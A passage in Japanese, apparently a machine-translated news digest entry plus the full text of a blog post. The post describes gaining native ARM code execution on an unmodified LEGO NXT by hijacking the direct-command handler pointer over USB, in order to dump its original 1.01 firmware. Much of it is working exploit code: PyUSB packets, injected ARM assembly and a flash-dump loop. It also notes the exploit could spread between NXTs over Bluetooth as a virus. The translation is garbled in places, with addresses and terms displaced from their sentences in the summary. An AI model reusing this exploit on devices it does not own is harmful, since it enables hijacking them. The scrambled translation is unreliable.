
2026/03/06 16:17
既存のブリックからLEGO NXTファームウェアをダンプする(2025)
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
著者はPybricksプロジェクトで作業している際、オリジナルのファームウェアバージョン 1.01を動作させていた中古Lego NXTを入手し、このファームウェアの保存コピーが存在しないこと(利用可能なのは新しい 1.03のみ)に気づきました。
NXTのAT91SAM7S256 MCU上では、SAM‑BA PEEK/POKE を呼び出すことはできますが、それを行うとファームウェアを書き換えてしまい、古いMCUにはモダンなデバッグインターフェースが欠けているためJTAGも実用的ではありません。ロボットのプログラムは制限付きメモリ内で動作するバイトコードVMで走るので、著者は低レベル機能に焦点を当てました。
PyUSB を介して USB 「Read IO Map」コマンドを送信し、
(フラッシュの約 3 KiB)に位置するVMの書き込み可能な関数ポインタ0x100d3dを読み取りました。32 KiB の書き込み可能 MemoryPool は NOP とカスタム ARM コードで埋めることができ、pRCHandlerをこのプール内のアドレスにリダイレクトすることで任意の直接コマンドをそのコードとして実行させることができます。pRCHandler著者は、受信パケットから4バイトのアドレスを読み取り、そのアドレス上のワードを返す組み込みアセンブリを挿入し、元のハンドラを置き換えました。この乗っ取られたハンドラを利用して、USB経由で「direct」コマンドをバイト単位で送信し、フラッシュ領域全体(
)を読み取り、完全なファームウェアとユーザーデータを0x00100000–0x00200000にダンプしました。nxtpwn-dump.binこの脆弱性は、ストックファームウェアを実行している任意のNXTで機能し、未改変デバイス上でもベアメタルコードが動作できることを示しています。これにより、保存ツールや自己複製型マルウェアなどの可能性が開かれ、NXTファームウェアの整合性チェックにおける脆弱性も浮き彫りになっています。
本文
タイトル:オリジナル LEGO NXT 1.01 ファームウェアをダンプし、ネイティブ ARM コード実行に成功した方法
はじめに
私は Pybricks プロジェクト(Lego Mindstorms ハードウェア向けの MicroPython ポート)に貢献しています。
その作業中に、2006 年に出荷されたオリジナル 1.01 ファームウェアを動かしている中古の LEGO NXT を発見しました。
アーカイブコピーが欲しかったので調べていたら、この古いデバイスで任意コード実行(Arbitrary Code Execution)が可能だと分かりました。
NXT は ARM と組込みエクスプロイト開発を学ぶのに十分なシンプルさがあります。
事前調査
「Google が友達」(現在は時代遅れ)
まず、誰かがすでにこのファームウェアをアーカイブしているかどうか確認しました。
検索した結果、1.01 のコピーは見つからず、公式に入手可能なのは 1.03(発売直後にリリース)だけでした。
NXT コミュニティは新しいまたはコミュニティ改造ファームウェアが出るとすぐに移行しているようです。
ハードウェアが古く、リソースも少ないため、自分でコピーを取得する必要があると判断しました。
ファームウェアイーター・アップデータはバックアップできる?
ファームウェアイーター・アップデータは AT91SAM7S256 マイクロコントローラに組み込まれた SAM‑BA ブートローダ を使用します。
PEEK(読み取り)と POKE(書き込み)がサポートされているため、最初は有望に思えました。
しかし、SAM‑BA に入ると保持したいファームウェアの一部が上書きされます。
したがって、ファームウェアアップデートモードに入らない別の手段 が必要でした。
JTAG:ハードウェアのみでのアプローチ
JTAG はハードウェアデバッグインタフェースです。
NXT の AT91SAM7S256 はサポートしていますが、以下の理由で実装は難しいです。
- ボードへのソルダリングが必要(コネクタは付いていない)
- デバッグインタフェース自体が古く、セットアップが困難
- 近年安価なツールではサポートされていない
JTAG は最後の手段として考えました。私はソフトウェアのみで解決したいと考えていました。
カスタム NXT プログラムを利用する
NXT のプログラムはバイトコード VM で実行され、厳格なメモリ制限があります。
VM は任意のメモリを読み書きできないため、通常のプログラムではファームウェアをダンプできません(VM に脆弱性が無ければ)。
そこで、VM が公開している IO‑Maps を調べました。
IO‑Maps
LEGO NXT 通信プロトコルで IO‑Maps は「異なるコントローラ/ドライバスタックとユーザコードを実行する VM の間の詳細に記述された層」と説明されています。
各ファームウェアモジュールの内部状態が格納されており、NXC プログラマガイドにはすべてのオフセットが列挙されています。ソースコードを見ると、これらの構造体は
.iom ファイル(例:c_cmd.iom)に存在しています。
重要なのは VM IO‑Map に
という関数ポインタ があることです ― 「直接」コマンド用ハンドラです。pRCHandler
このポインタが USB 経由で読み書き可能なら、コード実行を乗っ取ることができます。
エクスプロイトの範囲設定
PyUSB で USB コマンド送信
import usb.core, struct dev = usb.core.find(idVendor=0x0694, idProduct=0x0002) dev.set_configuration()
IO Map 読み取り コマンド(オペコード
0x94)は 10 バイトのペイロードを持ちます。
| Bytes | 意味 |
|---|---|
| コマンドヘッダー |
| リトルエンディアン、例:VM は |
| リトルエンディアン(例:) |
| リトルエンディアン(例:=16 バイト) |
最初の 16 バイトを読む例:
dev.write(1, b'\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00') print(dev.read(0x82, 64))
レスポンス:
b'\x02\x94\x00\x01\x01\x00\x10\x00MindstormsNXT\x00\x00\x00'.
関数ポインタ(オフセット 16、長さ 4)を読む例:
dev.write(1, b'\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00') print(dev.read(0x82, 64))
結果:
array('B', [2,148,0,1,0,1,0,4,0,61,13,16,0]) → ポインタ値 0x100d3d.
AT91SAM7S256 のメモリマップ上では内部フラッシュ(
0x001xxxxx)に位置します。したがって、任意の有効アドレスへ実行を転送できます。
コード実行を得る
マイクロコントローラには現代的な保護機構(NX, ASLR 等)がないため、RAM に任意 ARM コードを書き込み実行できます。
コードはどこに置く?
VM の IO‑Map には MemoryPool 変数 があり、32 KiB のデータセグメントスペースを占めています。
ユーザプログラムが走っていない状態では安全に上書き可能です。
RAM は
0x00200000 から始まると仮定すると、MemoryPool は下半分(例:0x00208000)に位置します。
NOP スレッドを作成:
ARM_NOP = 0xe1a00000 # NOP 命令 nop_len = 32*1024 - len(nxtpwn_code)
その後、MemoryPool の末尾に
nxtpwn_code を書き込みます。
ARM アセンブリを書く
arm-none-eabi-gcc と objcopy を使い nxtpwn.s をバイナリへ変換します。
arm-none-eabi-gcc -c nxtpwn.s arm-none-eabi-objcopy -O binary nxtpwn.o nxtpwn.bin
次に IO‑Map 書き込みコマンド(
0x95)でバイナリを MemoryPool にロードします。
直接コマンドハンドラの乗っ取り
pRCHandler を注入したコードのアドレスへ置き換えます:
iomap_w32(CMD_MODULE, CMD_OFF_FNPTR, 0x00200000 + 32*1024)
これで、NXT に送られる 「直接」コマンドはすべて自分のコードを実行します。
例:単純な「メモリ読み取り」ハンドラ
元のハンドラ署名(ARM ABI):
| レジスタ | 引数 |
|---|---|
| r0 | 入力バッファポインタ |
| r1 | 出力バッファポインタ |
| r2 | 出力長へのポインタ |
アセンブリ例:
push {r4} @ callee‑saved レジスタ保存 add r0, #2 @ コマンド byte とアドレス長をスキップ ldrb r3, [r0] @ アドレスの最初のバイト取得 add r0, #1 ldrb r4, [r0] add r0, #1 orr r3, r4, lsl #8 ldrb r4, [r0] add r0, #1 orr r3, r4, lsl #16 ldrb r4, [r0] add r0, #1 orr r3, r4, lsl #24 ldr r3, [r3] @ 指定アドレスから 32‑bit 値を読み取る strb r3, [r1] @ 出力バッファへ書き込み add r1, #1 lsr r3, #8 strb r3, [r1] add r1, #1 lsr r3, #8 strb r3, [r1] add r1, #1 lsr r3, #8 strb r3, [r1] mov r3, #4 @ 出力長 = 4 バイト strb r3, [r2] mov r0, #0 @ 成功を返す pop {r4} bx lr
エクスプロイトでファームウェアをダンプ
カスタム直接コマンドを送るヘルパー関数:
def pwn_read(addr): cmd = struct.pack("<BBI", 0, 0xaa, addr) dev.write(1, cmd) result = bytes(dev.read(0x82, 64)) assert result[:2] == struct.pack("<BB", 2, 0xaa) return struct.unpack("<I", result[2:])[0]
フラッシュ領域(
0x00100000–0x001FFFFF、256 KiB)をループしてファイルへ書き込みます:
with open('nxtpwn-dump.bin', 'wb') as f: for i in range(256 * 1024 // 4): addr = 0x00100000 + i * 4 val = pwn_read(addr) f.write(struct.pack("<I", val))
生成されたバイナリには、フルファームウェアとブリックに保存されているユーザプログラムが含まれます。
他に何ができる?
- このエクスプロイトはストックベースのすべての NXT ファームウェアで動作します。
- 直接コマンドは Bluetooth 経由でも送信可能なので、NX‑to‑NX ウェル(ウイルス)として拡散できる可能性があります。
- 適切なローダを用いれば、ファームウェアを改変せずに任意のベアメタルコードを NXT 上で実行できます。
結論
VM の IO‑Map を活用し、直接コマンドハンドラを乗っ取ることで、未改造の LEGO NXT 1.01 でネイティブ ARM コード実行を達成し、ファームウェア全体をダンプできました。
この手法を使ってファームウェアをアーカイブしたり、NXT 上でベアメタル開発に挑戦してみてください。ハッキングを楽しんでください!